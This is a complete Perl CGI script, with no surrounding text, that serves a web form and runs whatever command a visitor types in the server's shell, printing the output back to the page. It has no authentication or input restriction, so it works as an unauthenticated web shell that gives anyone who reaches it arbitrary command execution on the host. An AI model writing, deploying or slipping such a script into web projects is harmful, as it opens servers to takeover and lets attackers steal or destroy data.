#!/usr/bin/perl
$|++;
use CGI qw( :standard );
use CGI::Carp qw( fatalsToBrowser );

print header(),start_form({ -method=>'get' }),
      textfield({-size=>75,-name=>'command'}), submit('Run'), end_form();

if (my $command = param('command')) {
  open( CMD, "$command 2>&1|" ) or die_nice( "$!: running command: '$command'" );
  print "<pre>\n";
  print escapeHTML($_,1) while (<CMD>);
  print "</pre>\n", end_html;
  close CMD;
}

sub die_nice{ print shift and exit }